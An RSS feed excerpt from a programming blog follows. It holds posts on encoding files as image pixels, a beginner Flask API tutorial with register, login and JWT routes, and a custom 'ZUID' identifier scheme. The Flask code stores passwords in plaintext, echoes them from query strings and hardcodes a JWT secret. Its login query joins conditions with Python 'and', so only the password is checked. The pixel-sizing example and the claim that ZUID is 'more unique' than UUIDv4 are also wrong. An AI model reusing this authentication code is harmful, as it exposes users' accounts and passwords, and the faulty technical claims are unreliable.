&lt;p&gt;Here’s the exciting part: Every six-digit hex color code can be split into three pairs of two digits, each representing a value between 0 and 255 (RGB values). This means we can encode every three characters of a file into a single pixel of a specific color. Pretty cool, right?&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;The Encoding Algorithm&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Let’s outline the steps of the encoding process:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Read the file’s bytes&lt;/strong&gt; and convert them into an array of hexadecimal values.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Group the hex values&lt;/strong&gt; into sets of three, with each set representing an RGB color.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Determine the dimensions&lt;/strong&gt; of the final image by calculating the square root of the total number of color groups (rounded up to the nearest integer).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Map each color group to a pixel&lt;/strong&gt;, arranging them from top-left to bottom-right, row by row.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Save the result as a PNG file&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;&lt;strong&gt;The Decoding Algorithm&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;To reverse the process:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Read all pixels&lt;/strong&gt; from the encoded image.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Convert each pixel’s RGB values&lt;/strong&gt; back into hexadecimal.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Split the hex values&lt;/strong&gt; into pairs of two digits.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Convert these hex pairs&lt;/strong&gt; into decimal numbers, then into their corresponding ASCII characters.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reconstruct the original file&lt;/strong&gt; from the decoded bytes.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;&lt;strong&gt;Challenges and Solutions&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;While the algorithm is straightforward, there are a few hurdles to address:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Padding for divisibility&lt;/strong&gt;: The total number of hex values might not be divisible by 3. To fix this, we add padding (dummy values) at the end to make the length a multiple of 3.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Image dimensions&lt;/strong&gt;: Calculating the exact width and height for the image requires rounding up the square root of the padded hex array length.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Padding identification&lt;/strong&gt;: During decoding, we need a way to ignore the padding. One solution is to use a unique marker color (e.g., a specific shade of blue) to indicate where the actual data ends.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;&lt;strong&gt;Example: Encoding a String&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Let’s encode the string: &lt;em&gt;&quot;geekhub is so cool and I love it so much&quot;&lt;/em&gt;.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Convert to bytes&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;01100111 01100101 01100101 01101011 01101000
01110101 01100010 00100000 01101001 01110011 
00100000 01110011 01101111 00100000 01100011 
01101111 01101111 01101100 00100000 01100001 
01101110 01100100 00100000 01001001 00100000 
01101100 01101111 01110110 01100101 00100000 
01101001 01110100 00100000 01110011 01101111 
00100000 01101101 01110101 01100011 01101000
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Convert to hexadecimal&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;67 65 65 6b 68 
75 62 20 69 73 
20 73 6f 20 63 
6f 6f 6c 20 61 
6e 64 20 49 20 
6c 6f 76 65 20 
69 74 20 73 6f 
20 6d 75 63 68
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Calculate dimensions&lt;/strong&gt;:&lt;br /&gt;
The array has 40 elements. The square root of 40 is ~6.32, so we round up to 7. The image will be 7x7 pixels.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Add padding&lt;/strong&gt;:&lt;br /&gt;
We add two dummy values (e.g., &lt;code&gt;00&lt;/code&gt;) to make the length 42 (divisible by 3).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Map to pixels&lt;/strong&gt;:&lt;br /&gt;
Each group of three hex values becomes an RGB color. For example, &lt;code&gt;(67, 65, 65)&lt;/code&gt; maps to a specific shade of red, green, and blue.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Mark the end of data&lt;/strong&gt;:&lt;br /&gt;
Use a unique color (like blue) to indicate where the actual data ends, followed by black for padding.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Here’s a visual representation of the process:&lt;/p&gt;
&lt;p&gt;&amp;lt;p align=&quot;center&quot;&amp;gt;
&amp;lt;img src=&quot;/images/pixcode/sample.png&quot; alt=&quot;Sample of blue pixel as ending flag, followed by black pixels as padding&quot;&amp;gt;
&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;Hex to RGB Conversion&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Here’s a Python function to convert hex to RGB:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def hexToRgb(_hex):  
    singleColorDigits = 2  
    hexArray = [_hex[i:i+singleColorDigits] for i in range(0, len(_hex), singleColorDigits)]  
    r = int(hexArray[0], 16) if len(hexArray) &amp;gt;= 1 else 0  
    g = int(hexArray[1], 16) if len(hexArray) &amp;gt;= 2 else 160  # 0xA0 = 160  
    b = int(hexArray[2], 16) if len(hexArray) == 3 else 177  # 0xB1 = 177  
    return (r, g, b)  
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;In this article, I’ve demonstrated how to create an encoder that transforms any file into an image while ensuring the process is reversible. For more details, check out the complete source code on Github.&lt;/p&gt;
&lt;p&gt;::github{repo=&quot;0xGeekHub/pixcode&quot;}&lt;/p&gt;
</content:encoded></item><item><title>Setup a Simple API Using Python and Flask – Part 2</title><link>https://floppydisk.vercel.app/posts/setup-simple-api-using-python-and-flask-p2/</link><guid isPermaLink="true">https://floppydisk.vercel.app/posts/setup-simple-api-using-python-and-flask-p2/</guid><description>Learn how to create a simple, functional API in minutes using Python and Flask 🚀</description><pubDate>Mon, 16 May 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In this article — a continuation of &lt;strong&gt;&lt;a href=&quot;/posts/setup-simple-api-using-python-and-flask/&quot;&gt;Part 1&lt;/a&gt;&lt;/strong&gt; — I’ll cover some more advanced topics I previously mentioned. To begin, we’ll implement a simple login/register system where clients can register, log in using their credentials, and check their profile. So, let&apos;s get started!&lt;/p&gt;
&lt;h2&gt;Flask Global Variables&lt;/h2&gt;
&lt;p&gt;Flask provides several global variables that can simplify your development workflow. For example, the &lt;code&gt;request&lt;/code&gt; object is a global variable that stores data related to HTTP requests — such as URL, query parameters, headers, and more.&lt;/p&gt;
&lt;p&gt;You can import Flask global variables in two ways:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from flask import globals  # imports all global vars
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Or, if you only need specific ones (recommended for cleaner code):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from flask import request
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To see how we can access incoming data, let’s create a simple &lt;strong&gt;/test&lt;/strong&gt; route:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@app.route(&apos;/test&apos;, methods=[&apos;GET&apos;])
def test():
    name = request.args.get(&apos;name&apos;)
    username = request.args.get(&apos;username&apos;)
    password = request.args.get(&apos;password&apos;)
    return f&quot;Hello, {name}! Your username is {username} and your password is {password}&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This route accepts only &lt;strong&gt;GET&lt;/strong&gt; requests. You can access the parameters sent by the client via &lt;code&gt;request.args.get(&apos;field_name&apos;)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;For example, accessing this URL:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://localhost:5000/test?name=Armin&amp;amp;username=mynameisarmin&amp;amp;password=mysafepassword
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Will return:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Hello, Armin! Your username is mynameisarmin and your password is mysafepassword
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Ways to Access Request Data&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;request.data&lt;/code&gt;: raw data as a string when Flask can’t handle the mimetype.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;request.args&lt;/code&gt;: key/value pairs in the query string.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;request.form&lt;/code&gt;: key/value pairs in the request body (e.g. from HTML forms).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;request.files&lt;/code&gt;: uploaded files.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;request.values&lt;/code&gt;: combines &lt;code&gt;args&lt;/code&gt; and &lt;code&gt;form&lt;/code&gt;, preferring &lt;code&gt;args&lt;/code&gt; if duplicate keys exist.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;request.json&lt;/code&gt;: parsed JSON data (must have &lt;code&gt;Content-Type: application/json&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These objects are typically instances of &lt;a href=&quot;https://werkzeug.palletsprojects.com/datastructures/#werkzeug.datastructures.MultiDict&quot;&gt;&lt;code&gt;MultiDict&lt;/code&gt;&lt;/a&gt;, except for &lt;code&gt;request.json&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;You can access values with:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;request.form[&apos;name&apos;]&lt;/code&gt;: use this if you&apos;re sure the key exists.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;request.form.get(&apos;name&apos;)&lt;/code&gt;: safer if the key might not exist.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;request.form.getlist(&apos;name&apos;)&lt;/code&gt;: use this if the same key is submitted multiple times.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;TinyDB&lt;/h2&gt;
&lt;p&gt;To build the login/register system, we need a way to store user credentials. Rather than using a full-fledged database like MongoDB or Redis for this small demo, we’ll use &lt;strong&gt;TinyDB&lt;/strong&gt;, a lightweight, document-oriented database that stores data in a JSON file.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“TinyDB is a document-oriented database that stores data in a JSON file. It’s the closest thing I’ve found to a NoSQL version of SQLite. It’s simple, lightweight, serverless, and extensible.”
— &lt;a href=&quot;https://lyz-code.github.io/blue-book/coding/python/tinydb/&quot;&gt;lyz-code.github.io&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;To install TinyDB:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pip install tinydb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We’ll also write a helper class to simplify using TinyDB. Create a file called &lt;code&gt;db.py&lt;/code&gt; with the following content:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from tinydb import TinyDB, Query
import os

class Database:
    def __init__(self, dbName, dbPath):
        self.dbName = dbName
        self.dbPath = dbPath if dbPath.endswith(&apos;/&apos;) else dbPath + &apos;/&apos;
        self._initialize_db_path()
        self.db = TinyDB(self.dbPath + self.dbName, indent=4, sort_keys=True, separators=(&apos;,&apos;, &apos;:&apos;))

    def _initialize_db_path(self):
        if not os.path.exists(self.dbPath):
            os.makedirs(self.dbPath)

    def query(self, table, query):
        return self.db.table(table).search(query)

    def insert_or_update(self, table, data):
        table_ref = self.db.table(table)
        table_ref.upsert(data, Query().id == data[&apos;id&apos;])
        return True

    def insert(self, table, data):
        self.db.table(table).insert(data)
        return True

    def close(self):
        self.db.close()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then import your helper and Flask’s &lt;code&gt;jsonify&lt;/code&gt; in your main file:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from db import *
from flask import jsonify
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Create the database instance after initializing your Flask app:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;app = Flask(__name__)
myDatabase = Database(&apos;db.json&apos;, &apos;database/&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Register Route&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;@app.route(&apos;/register&apos;, methods=[&apos;POST&apos;])
def register():
    name = request.json[&apos;name&apos;]
    username = request.json[&apos;username&apos;]
    password = request.json[&apos;password&apos;]
    
    if myDatabase.query(&apos;users&apos;, Query().username == username):
        return jsonify({&quot;error&quot;: &quot;Account already exists&quot;})
    
    myDatabase.insert(&apos;users&apos;, {&apos;name&apos;: name, &apos;username&apos;: username, &apos;password&apos;: password})
    return jsonify({&apos;status&apos;: &apos;success&apos;})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This route accepts JSON data, checks if a user with the same username already exists, and if not, inserts the user into the database.&lt;/p&gt;
&lt;h3&gt;Testing the Endpoint&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;For GET requests: just open the URL in your browser.&lt;/li&gt;
&lt;li&gt;For POST requests: use &lt;strong&gt;Postman&lt;/strong&gt;, &lt;strong&gt;curl&lt;/strong&gt;, or online tools like &lt;a href=&quot;https://reqbin.com/&quot;&gt;ReqBin&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Tip&lt;/strong&gt;: Postman is more powerful and user-friendly, but ReqBin is great if you don&apos;t want to install anything.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Login Route&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;@app.route(&apos;/login&apos;, methods=[&apos;POST&apos;])
def login():
    username = request.json[&apos;username&apos;]
    password = request.json[&apos;password&apos;]

    user = myDatabase.query(&apos;users&apos;, Query().username == username and Query().password == password)
    if user:
        return jsonify({&apos;status&apos;: &apos;success&apos;})
    return jsonify({&apos;error&apos;: &apos;Account does not exist&apos;})
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;JWT Integration&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;JWT&lt;/strong&gt; (JSON Web Token) is a secure way to transfer identity and authorization information.&lt;/p&gt;
&lt;p&gt;Install the extension:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pip install Flask-JWT-Extended
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Import what we need:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from flask_jwt_extended import create_access_token, get_jwt_identity, jwt_required, JWTManager, verify_jwt_in_request
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Configure your app:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;app.config[&quot;JWT_SECRET_KEY&quot;] = &quot;super-secret&quot;  # Replace with a secure key!
jwt = JWTManager(app)
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;You can generate a random key using:
&lt;code&gt;https://random.justyy.workers.dev/api/random/?cached&amp;amp;n=32&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Updated Login Route with JWT&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;@app.route(&apos;/login&apos;, methods=[&apos;POST&apos;])
def login():
    username = request.json[&apos;username&apos;]
    password = request.json[&apos;password&apos;]

    user = myDatabase.query(&apos;users&apos;, Query().username == username and Query().password == password)
    if user:
        return jsonify({
            &apos;status&apos;: &apos;success&apos;,
            &apos;token&apos;: create_access_token(identity=username)
        })
    return jsonify({&apos;error&apos;: &apos;Account does not exist&apos;})
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;On success, you’ll receive a JWT in the response.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Index Route (JWT Protected)&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;@jwt_required()
@app.route(&apos;/index&apos;, methods=[&apos;GET&apos;])
def index():
    verify_jwt_in_request()
    current_user = get_jwt_identity()
    
    if current_user:
        return jsonify({&apos;status&apos;: &apos;success&apos;, &apos;username&apos;: current_user})
    return jsonify({&apos;error&apos;: &apos;Invalid token&apos;})
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Send the JWT token in the &lt;code&gt;Authorization&lt;/code&gt; header like:
&lt;code&gt;Authorization: Bearer &amp;lt;your-token&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Full Source Code&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;from flask import Flask, request, jsonify
from db import *
from flask_jwt_extended import create_access_token, get_jwt_identity, jwt_required, JWTManager, verify_jwt_in_request

app = Flask(__name__)
app.config[&quot;JWT_SECRET_KEY&quot;] = &quot;super-secret&quot;  # Replace this!
jwt = JWTManager(app)
myDatabase = Database(&apos;db.json&apos;, &apos;database/&apos;)

@app.route(&apos;/&apos;, methods=[&apos;GET&apos;])
def home_page():
    return &quot;Tada! My simple Flask app is running!&quot;

@app.route(&apos;/register&apos;, methods=[&apos;POST&apos;])
def register():
    name = request.json[&apos;name&apos;]
    username = request.json[&apos;username&apos;]
    password = request.json[&apos;password&apos;]
    if myDatabase.query(&apos;users&apos;, Query().username == username):
        return jsonify({&quot;error&quot;: &quot;Account already exists&quot;})
    myDatabase.insert(&apos;users&apos;, {&apos;name&apos;: name, &apos;username&apos;: username, &apos;password&apos;: password})
    return jsonify({&apos;status&apos;: &apos;success&apos;})

@app.route(&apos;/login&apos;, methods=[&apos;POST&apos;])
def login():
    username = request.json[&apos;username&apos;]
    password = request.json[&apos;password&apos;]
    user = myDatabase.query(&apos;users&apos;, Query().username == username and Query().password == password)
    if user:
        return jsonify({
            &apos;status&apos;: &apos;success&apos;,
            &apos;token&apos;: create_access_token(identity=username)
        })
    return jsonify({&apos;error&apos;: &apos;Account does not exist&apos;})

@jwt_required()
@app.route(&apos;/index&apos;, methods=[&apos;GET&apos;])
def index():
    verify_jwt_in_request()
    current_user = get_jwt_identity()
    if current_user:
        return jsonify({&apos;status&apos;: &apos;success&apos;, &apos;username&apos;: current_user})
    return jsonify({&apos;error&apos;: &apos;Invalid token&apos;})

app.run(host=&apos;localhost&apos;, port=5000)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;In this final article, I’ve introduced more advanced concepts like authentication and token-based authorization using JWTs. I hope it was helpful! If you have any questions or comments, feel free to leave them below — I’ll respond as soon as I can.&lt;/p&gt;
</content:encoded></item><item><title>ZUID: Generating Even More Unique Identifiers</title><link>https://floppydisk.vercel.app/posts/zuid-much-more-unique-identifiers/</link><guid isPermaLink="true">https://floppydisk.vercel.app/posts/zuid-much-more-unique-identifiers/</guid><description>How to generate even move unique identifiers by altering the logic behind UID systems</description><pubDate>Sun, 15 May 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The story begins with a need: I was looking for a unique identifier algorithm that could produce &lt;em&gt;more&lt;/em&gt; unique identifiers than UUIDv4—the most widely used one. But before diving in, let’s clarify what a UUID actually is.&lt;/p&gt;
&lt;h3&gt;What is a UUID?&lt;/h3&gt;
&lt;p&gt;A &lt;strong&gt;Universally Unique Identifier&lt;/strong&gt; (UUID) is a 128-bit number, composed of 16 octets and typically represented as 32 hexadecimal characters. It’s used to uniquely identify information across computer systems. The specification was originally created by Microsoft and later standardized by both the IETF and ITU.&lt;/p&gt;
&lt;p&gt;In this article, I’ll focus specifically on UUID version 4 (UUIDv4), which is purely random generated (unlike other versions that are based on timestamps or MAC addresses).&lt;/p&gt;
&lt;p&gt;It’s worth noting that generating a duplicate UUID is extremely unlikely.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A sample of 3.26 × 10¹⁶ UUIDs has a &lt;strong&gt;99.99% chance of not containing any duplicates&lt;/strong&gt;.
At a rate of one UUID per second, generating that many would take over a billion years.
— &lt;a href=&quot;http://towardsdatascience.com&quot;&gt;towardsdatascience&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;A Closer Look&lt;/h3&gt;
&lt;p&gt;As mentioned earlier, a UUID is a 128-bit number represented in hexadecimal format. That means you can generate your own UUID by randomly changing even a single bit.&lt;/p&gt;
&lt;p&gt;For example, if you imagine the smallest possible UUID as &lt;code&gt;&apos;0x00000000000000000000000000000000&apos;&lt;/code&gt;, where all bits are zero, the next one would be &lt;code&gt;&apos;0x00000000000000000000000000000001&apos;&lt;/code&gt;, and it goes on.
Because of this vast space, collisions are almost impossible. According to Wikipedia, you’d need to generate about &lt;strong&gt;2.71 quintillion&lt;/strong&gt; UUIDs before expecting a single collision—that’s a truly massive number.&lt;/p&gt;
&lt;p&gt;But then a question popped into my head: &lt;strong&gt;Can we make an identifier that’s even &lt;em&gt;more&lt;/em&gt; unique—or at least appears more diverse—than a UUID?&lt;/strong&gt; Let me explain :)&lt;/p&gt;
&lt;h3&gt;Tweaking the Output&lt;/h3&gt;
&lt;p&gt;While thinking about it, I realized we could modify the final section of the UUID generation process—the part that converts the 128-bit number into a hexadecimal string. This step gives us a 32-character-long identifier. If we take that final string and &lt;strong&gt;convert or encode&lt;/strong&gt; it into a different format of the same length, we essentially get a new kind of identifier.&lt;/p&gt;
&lt;h3&gt;Alphabet Character Mapping&lt;/h3&gt;
&lt;p&gt;My first idea was to remap the hexadecimal characters. In hex, the digits 10 through 15 are represented by the letters &lt;code&gt;&apos;a&apos;&lt;/code&gt; through &lt;code&gt;&apos;f&apos;&lt;/code&gt;. So, what if we replaced &lt;code&gt;&apos;abcdef&apos;&lt;/code&gt; with a different set of six characters?&lt;/p&gt;
&lt;p&gt;I chose to map &lt;code&gt;&apos;abcdef&apos;&lt;/code&gt; to &lt;code&gt;&apos;uvwxyz&apos;&lt;/code&gt;—the last six letters of the alphabet.&lt;/p&gt;
&lt;p&gt;For example, the UUID &lt;code&gt;&apos;14be1be3-4818-46da-bb60-dc2b1d89c8ff&apos;&lt;/code&gt; becomes &lt;code&gt;&apos;14yv1yv3-4818-46wz-yy60-wx2y1w89x8uu&apos;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;map_to&lt;/code&gt; argument in the function can be &lt;strong&gt;any&lt;/strong&gt; set of 6 characters, which opens up room for customization and variety.&lt;/p&gt;
&lt;h3&gt;Random Uppercasing&lt;/h3&gt;
&lt;p&gt;Another trick to increase uniqueness is to randomly change the case of alphabetic characters. This adds visual variety without altering the base information.&lt;/p&gt;
&lt;p&gt;The full source code of &lt;strong&gt;ZUID&lt;/strong&gt;—my custom identifier generator—is shown below:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# a library that generates zuid.

import random
from uuid import uuid4


class zuid:
    zuid = 0x000000000000000000000000000000000000
    def __init__(self, zuid=None):
        if (zuid != None and zuid != self.zuid):
            self.zuid = bytes(zuid, &quot;utf-8&quot;)
            
    def should_upper(self):
        return random.randint(0, 1024) % 2 == 0
    
    def map(self, data, map_to):
        board = f&quot;abcdef{map_to}&quot;
        mapped = &quot;&quot;
        for i in data:
            if (i in board):
                mapped += board[len(board) - 1 - board.find(i)]
            else:
                mapped += i
        return mapped
    
    def generate_zuid1(self):
        digits = &quot;0123456789&quot;
        uuidchars = &quot;abcdef&quot;
        zuidcharacters = &quot;uvwxyz&quot;
        characters = zuidcharacters.upper()
        zuid_digits = digits + characters
        uuid = str(uuid4())
        template = &quot;xxxxxxxx-xxxx-zxxx-xxxx-xxxxxxxxxxxx&quot;
        zuid = &quot;&quot;
        for i in range(len(template)):
            if (template[i] == &apos;z&apos;):
                zuid += &apos;z&apos;
            elif (template[i] == &apos;-&apos;):
                zuid += &apos;-&apos;
            else:
                uuidchar = uuid[i]
                if (uuidchar in digits):
                    zuid += uuidchar
                else:
                    char = self.map(uuid[i], zuidcharacters)
                    zuid += char.upper() if  self.should_upper() else char
        return zuid
    
    def __str__(self) -&amp;gt; str:
        if (self.zuid != None):
            return self.zuid.decode(&quot;utf-8&quot;)
        else:
            raise Exception(&quot;ZUID is not initialized&quot;)
        
    def __repr__(self):
        if (self.zuid != None):
            return &apos;%s(%r)&apos; % (self.__class__.__name__, str(self))
        else:
            raise Exception(&quot;ZUID is not initialized&quot;)
    
def zuid1():
    return zuid(zuid().generate_zuid1())
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Conclusion&lt;/h3&gt;
&lt;p&gt;ZUID’s uniqueness builds on the reliability of UUIDv4, but adds layers of transformation—character mapping, casing, and potential encodings—to create identifiers that are visually distinct and even more customizable.&lt;/p&gt;
&lt;p&gt;You can also roll your own variant by generating random bits or experimenting with different encodings.&lt;/p&gt;
</content:encoded></item><item><title>Setup simple API using Python and Flask</title><link>https://floppydisk.vercel.app/posts/setup-simple-api-using-python-and-flask/</link><guid isPermaLink="true">https://floppydisk.vercel.app/posts/setup-simple-api-using-python-and-flask/</guid><description>Learn how to create a simple, functional API in minutes using Python and Flask 🚀</description><pubDate>Sun, 15 May 2022 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Setting Up a Simple API Using Python and Flask&lt;/h1&gt;
&lt;p&gt;In this article, I&apos;ll show you how to create a simple API using Python and the Flask framework. This is the first part of a two-part series. Here, I&apos;ll cover the basic concepts and setup, while in the next article, I&apos;ll dive into advanced topics like authentication, security, and usability. Let&apos;s get started!&lt;/p&gt;
&lt;h2&gt;What Is an API?&lt;/h2&gt;
&lt;p&gt;First, let&apos;s clarify what an API is. An API (Application Programming Interface) allows developers to interact with your application indirectly. Instead of requiring access to your source code, they can use your API to perform actions like creating accounts, sending messages, or retrieving data.&lt;/p&gt;
&lt;p&gt;Typically, a Web API consists of one or more URLs, each with specific conditions for executing commands in your application. Remember that API development requires careful attention—any vulnerabilities could affect your entire application.&lt;/p&gt;
&lt;p&gt;API calls can return various types of data, such as plain text, JSON objects, image files, and more. For example, the URL below is an API that returns a JSON object containing comments from an application:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://jsonplaceholder.typicode.com/comments&quot;&gt;https://jsonplaceholder.typicode.com/comments&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Requirements&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Python 3.8 or above&lt;/strong&gt;: Python is a high-level programming language capable of building almost anything. In this article, we&apos;ll use it as the backend language for our application. Since Python is an interpreted language, you&apos;ll need to install the Python interpreter on your system. You can download it from the official website: &lt;a href=&quot;https://www.python.org/&quot;&gt;python.org&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Flask&lt;/strong&gt;: Flask is a lightweight Python web framework that simplifies web application development. It&apos;s a standalone module with minimal dependencies, making it easy to install using &lt;strong&gt;PIP&lt;/strong&gt; (Python&apos;s package manager).&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Installation&lt;/h2&gt;
&lt;p&gt;Once Python and PIP (which installs automatically with Python) are set up, open your system&apos;s command-line interface (Terminal on macOS/Linux or CMD on Windows) and run the following command to install Flask:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pip3 install flask
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After Flask is installed, you&apos;re ready to proceed.&lt;/p&gt;
&lt;h2&gt;Setting Up a Simple Flask Application&lt;/h2&gt;
&lt;p&gt;To create a Flask application, start by importing the &lt;code&gt;Flask&lt;/code&gt; class:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from flask import Flask
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next, create an instance of the &lt;code&gt;Flask&lt;/code&gt; class. This instance represents your application:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;app = Flask(__name__)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;__name__&lt;/code&gt; variable passed to the constructor is a built-in Python variable that holds the name of your application.&lt;/p&gt;
&lt;h3&gt;Routing&lt;/h3&gt;
&lt;p&gt;Routing allows you to define accessible URLs or resources in your application. Frameworks like Flask handle routing programmatically, saving time and improving security compared to manual routing. Here&apos;s how to define a route:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@app.route(&apos;/&apos;, methods=[&apos;GET&apos;])
def home_page():
    return &quot;Tada! My simple Flask app is running!&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In this example, when a client accesses the root URL (&lt;code&gt;/&lt;/code&gt;) with a &lt;code&gt;GET&lt;/code&gt; request, the &lt;code&gt;home_page&lt;/code&gt; function is called, returning the specified text. The root URL can be written with or without a trailing slash (e.g., &lt;code&gt;floppydisk.vercel.app&lt;/code&gt; is equal to &lt;code&gt;floppydisk.vercel.app/&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;methods&lt;/code&gt; argument in the &lt;code&gt;route&lt;/code&gt; decorator is a list, meaning you can specify multiple HTTP methods (or &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods&quot;&gt;HTTP verbs&lt;/a&gt;) for a single route.&lt;/p&gt;
